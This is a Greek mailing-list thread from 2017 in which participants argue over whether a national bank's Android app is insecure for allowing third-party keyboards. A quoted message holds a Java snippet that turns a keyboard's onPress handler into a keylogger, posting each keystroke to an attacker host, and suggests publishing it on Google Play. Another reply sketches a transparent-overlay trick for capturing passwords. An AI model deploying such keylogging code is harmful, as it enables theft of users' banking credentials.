Θα συμφωνήσω απόλυτα μαζί σου. Είναι τεράστιο κενό ασφαλείας. Και μάλιστα, με μία μικρή έρευνα μπόρεσα να ανακαλύψω ένα σύνολο από διαφορετικά κενά, που προσωπικά θα με κάνουν να κλείσω τον λογαριασμό μου: 1) Αφήνουν τον χρήστη να χρησιμοποιήσει λειτουργικό σύστημα τρίτου (android) και δεν έχουν αναπτύξει δικό τους! Αν είναι δυνατόν! Ξέρεις πόσο εύκολο είναι να βάλεις τον κώδικα που έδωσες στο λειτουργικό σύστημα και να κλέψεις τα στοιχεία; 2) Αφήνουν τον χρήστη να χρησιμοποιήσει συσκευή τρίτου και δεν έχουν κάνει δικό τους κινητό τηλέφωνο! Απίστευτο! Εξίσου εύκολο σε hardware να καταφέρεις να καταγράψεις τα σημεία που έκανε touch ο χρήστης και να εξάγεις τον κωδικό του από αυτά! Πρέπει άμεσα να ανοίξουν εργοστάσια και να παράγουν τα πάντα μόνοι τους! Ούτε να ακούσω για αγορά επεξεργαστών από την αγορά, ξέρεις τι προβλήματα μπορούν να δημιουργηθούν στο supply chain; Δες για παράδειγμα στο παρελθόν την cisco και τα θέματα με την NSA.
Και τα προβλήματα δεν σταματάνε στο mobile app. Σκέψου το web banking τους. Αφήνουν τον χρήστη να χρησιμοποιεί δικό του browser και δεν έχουν γράψει οι ίδιοι έναν για να τον δίνουν στους πελάτες τους, αφήνουν τον χρήστη να χρησιμοποιεί δικό του driver για keyboard, δικό του λειτουργικό σύστημα, δικό του firmware (bios ή uefi), δικό του microcode για τον επεξεργαστή, και στην τελική δικό του hardware. Στο phone banking δεν θα πάω, δίκτυο τηλεφωνίας από την τράπεζα εδώ και τώρα! Πέρα από την πλάκα, πρωτού πεις ότι κάτι είναι κενό ασφαλείας, πρέπει να εξετάσεις το threat model. Είναι απόλυτα αποδεκτό από την διεθνή κοινότητα να εμπιστεύεσαι το third party application για το πληκτρολόγιο. Αν κάποιος έχει την δυνατότητα να σου κάνει install ένα 'πειραγμένο' πληκτρολόγιο, και να έχει δικό της built-in πληκτρολόγιο η εφαρμογή έχεις χάσει το παιχνίδι. Στην τελική, σου κάνει install ένα app το οποίο έχει permissions να κάνει overlay (ίσως στέλνοντας τα κατάλληλα keystrokes από το ήδη εγκατεστημένο πληκτρολόγιο), δημιουργεί το overlay αυτό το οποίο είναι transparent και όταν βάζεις τον κωδικό στο πληκτρολόγιο της εφαρμογής απλά μαζεύει ότι γράφεις. Αυτός είναι ένας τρόπος που μου ήρθε στο μυαλό την ώρα που έγραφα το mail, μπορώ να σου πετάξω μερικές δεκάδες ακόμη. Επίσης μην νομίζεις ότι απλά έγραψαν ένα application και το δίνουν στον κόσμο. Υπάρχουν ειδικά standard βάση των οποίων όλα αυτά γίνονται audit. Δεν λέω ότι οι auditors θα βρουν τα πάντα, αλλά ένα τόσο χοντρό πρόβλημα (χρήση third party keyboard ενώ απαγορεύεται) θα το ανακάλυπταν στο λεπτό. Επίσης και τα standards μπορεί να μην είναι 100% σωστά, αλλά είναι widely accepted και όλοι λειτουργούν βάση αυτών. Απλά λίγο προσοχή πριν γίνουν δηλώσεις της μορφής 'κενό ασφαλείας από εθνική τράπεζα'. Για να αναφέρεις κάτι τόσο χοντρό και να επιμένεις τόσο πολύ πρέπει να είσαι σίγουρος ότι γνωρίζεις καλά το αντικείμενο και δεν σου έχει ξεφύγει τίποτε. Στην συγκεκριμένη περίπτωση νομίζω ότι σου έχουν ξεφύγει μερικά πραγματάκια, γιατί με την λογική σου θα έπρεπε να απαιτήσεις να γράψουν τουλάχιστον ένα λειτουργικό για το κινητό. My two cents, Φώτης On 10/03/2017 08:11 PM, Ioannis Proios wrote: > > > Στις Τρί, 3 Οκτ 2017 στις 4:57 μ.μ., ο/η Nikolas Pattakos > <pattak...@fastmail.com <mailto:pattak...@fastmail.com>> έγραψε: > > On Tue, Oct 3, 2017, at 07:26 AM, Ioannis Proios wrote: > > Καλημέρα. > > > > Ναι δεν είναι bug αλλά σίγουρα είναι δουλειά της εφαρμογής. > > Όπως δηλαδή και με το login του browser, αν η τράπεζα δεν > απαιτούσε SSL > > θα > > λέγαμε ότι φταίει ο browser που δεν το κάνει από μόνος. > > Δεν ασχολούμαι ιδιαίτερα με android ούτε έχω εθνική αλλά αφού επιμένεις: > > 1) αν νομίζεις ότι έχεις βρει κάποιο κενό ασφαλείας, μπορείς να μου > (μας) πεις ποιο είναι αυτό που χρησιμοποιεί και τι θα έπρεπε να > χρησιμοποιεί για να μην θεωρείς ότι έχει κενό ασφαλείας. > > 2) ακόμα καλύτερα μπορείς να το χακάρεις; αν όχι ένα proof of concept > έστω ένα draft? > > > Επειδή θα "ανοίξω την όρεξη" σε κάποιους για hacking και ίσως αυτό > βοηθήσει να κλείσουν το σφάλμα θα δείξω πόσο απλό είναι : > > 1) ας πάρουμε ένα καλό πληκτρολόγιο πχ αυτό https://tinyurl.com/y8fqpade > 2) ας προσθέσουμε λίγο κώδικα στην μέθοδο onPress > εδώ https://tinyurl.com/ybe2qm5v πχ > > HttpClient httpclient = new DefaultHttpClient(); > HttpPost httppost = new HttpPost("http://myhackingserver.net/onpress"); > > try { > // Add your data > List<NameValuePair> nameValuePairs = new > ArrayList<NameValuePair>(1); > nameValuePairs.add(new BasicNameValuePair("pressdata", > primaryCode)); > httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); > > // Execute HTTP Post Request > HttpResponse response = httpclient.execute(httppost); > > } catch (ClientProtocolException e) { > } catch (IOException e) { > } > > 3) το ανεβάσουμε στο google play για κάθε χρήση > > Ελπίζω τώρα την επόμενη φορά που θα κάνεις login στην τράπεζα να το > σκεφτείς καλά ;) > > > > > > > > Επειδή λοιπόν μιλάμε για την υπ.αριθμόν 1(?) τράπεζα της Ελλάδος θεωρώ > > τραγικό λάθος να παραβλέψει το θέμα ασφαλείας. > > Ένας λόγος παραπάνω έπρεπε να δώσει μεγαλύτερη προσοχή επειδή είχε να > > κάνει > > με ένα open source OS και όχι να το αφήσει κατά το "δοκούν". > > Πρώτον δεν είναι όλα στο android open source. ξέρεις ποιον κώδικα > χρησιμοποιεί αυτό που ισχυρίζεσαι ότι δεν είναι ασφαλές και αν είναι > open source ή proprietary? > Δεύτερον, η σύνδεση που κάνεις στο επειχείρημά σου μεταξύ open source > και μεγαλύτερης προσοχής είναι νομίζω μεταξύ ασαφής, συζητήσιμης ίσως > και αβάσιμης. > > > το opensource το ανέφερα επειδή εδώ (android) τα πράγματα είναι ποιο > ευέλικτα και θα περίμενε κάποιος να δώσει μεγαλύτερη προσοχή σε θέματα > ασφαλείας όπως πχ η Εθνική. > Αν είμαστε σε M$ πχ δεν θα το συζητήσουμε κάν και θα κοιμόμασταν ήσυχοι ;)